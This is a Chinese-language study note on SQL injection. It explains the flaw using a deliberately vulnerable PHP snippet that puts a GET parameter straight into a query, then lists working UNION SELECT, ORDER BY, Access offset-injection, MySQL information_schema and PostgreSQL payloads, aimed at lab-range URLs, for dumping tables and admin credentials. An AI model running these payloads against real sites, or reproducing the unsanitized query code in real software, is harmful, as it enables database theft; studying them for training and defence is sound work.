定义:SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
利用条件分析:
header("Content-Type: text/html; charset=utf-8");
$id=$_GET['id'];
$idx=$_GET['x'];
$idpage=$_GET['page'];//接受参数名为id赋值给变量id
if(!is_integer($id)){ //拦截代码
$conn=mysql_connect('localhost','root','root');//连接数据库
mysql_select_db('javaweb-bbs',$conn);//选择数据库名为javaweb-bss的数据库
$sql="select * from sys_article where id = $id";//组合定义SQL语句
echo $sql.'
';//输出变量sql
$result=mysql_query($sql);//执行变量sql里的SQL语句,mysql_query通常是php中执行sql语句的函数
if($row=mysql_fetch_array($result)){ //对执行的结果进行显示
echo $row['title'].'
';
echo $row['content'].'
';
}
else{
echo "fuck"; //php中小数点表示连接符
}
}
以上代码可知,id参数可为任意值,因此可构造payload产生注入
union select: A union select B;表示A和B都会执行,即联合执行
**判断注入点:**1.源码审计 2.尝试
逻辑运算符:or(或) and(并且) xor(非)
输入字符对页面产生影响,极可能存在注入
判断数据库:1.注入语句 2.搭建(php通常和mysql配合) 3.端扫
Access:用得很少,asp网站用
Mysql , Postgresql
Mssql
Oracle
Mangodb
tips:数据库注入点权限问题。数据库不同权限不同注入的方式也存在不同。
注入点权限不同,注入的方式方法不大相同
fuzz字典是指一种,模糊测试且含有大量payload的一个资格字典文件,主要用于手工payload猜解。其中sqlmap便是自带fuzz字典。
数据库的格式与excel格式类似,主要集中在asp网站中,后缀为.mdb
结构:
access:
表名
列名
数据
猜解表名或列名 == 暴力破解,注入时可能出现获取不到情况,需要借助大量字典获取。
payload:
1.order by 判断列数
2.union select 判断是否存在,若存在则会返回随机数,不存在则报错或返回空。
http://192.168.253.140:8001/Production/PRODUCT_DETAIL.asp?id=1428%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin (admin指的是表名)
这里返回的两个数字随机位置,并无任何意义!后面的再依次根据暴力破解的进行猜解即可。通常采用 bp字典进行爆破联动,需要大量的字典。
Access偏移注入:指的是知道表名但爆破不出列名的情况下使用。
偏移注入:解决表名获取到而列名获取不到情况,依次推测出偏移量不断移动*(从后往前移),偏移量即字段数
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id) //固定语句
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
基本结构
网站 <==> 数据库
表
字段
数据
常见查询:
select version() 版本
Mysql 5.0以下版本通常采用暴力破解,5.0及以上采用根据猜解,5.0以上含有根数据库information_schema, 5以下的版本不自带。
select database() :数据库
select user() :数据库用户,进而猜解权限
select @@version_compile_os :查询操作系统
information_schema.tables表下的列table_name 存储表名信息的表
information_schema.columns表下的列column_name 存储列名信息的表
information_schema.schemata表下的列shcema_name 存储数据库名信息的表
table_schema 数据库名
table_name 表名
column_name 列名
group_concat(列名):根据列名来获取所有具体数据
5.0以下的思路:1.暴力破解,2.配合文件读取读取源码
中小型数据库,通常和php联合,国外常用
*环境:*墨者靶场
技术参考:Sql注入之postgresql - she11s - 博客园 (cnblogs.com)
0.判断
and 1=1; and1=2
order by 语句 判断列名(正常回显则可证明列名正常)
注入语句构造
其下的pg_stat_user_tables与Mysql下的information_schema.tables类似都是存储表的
注意语句的payload位置,位置错误,可能造成不回显
多个数据查询时,使用偏移语句进行查询(offset表示设置的下标位置)
//%20表示空格的意思
1.
http://219.153.49.228:44927/new_list.php?id=-1%2union%20select%20null,version(),null,null //版本探测,注意使用联合查询前半段需要为错
2.
union%20select%20null,relname,null,null%20from%20pg_stat_user_tables%20limit 1 offset 0 //表示一个个数据的读取,读取当前数据库下的表名
3.
union select null,column_name,null from information_schema.columns where table_name='表名'
4.获取数据
后期思路:猜解表单账号密码即为数据库列名,或是cms信息或是url上的信息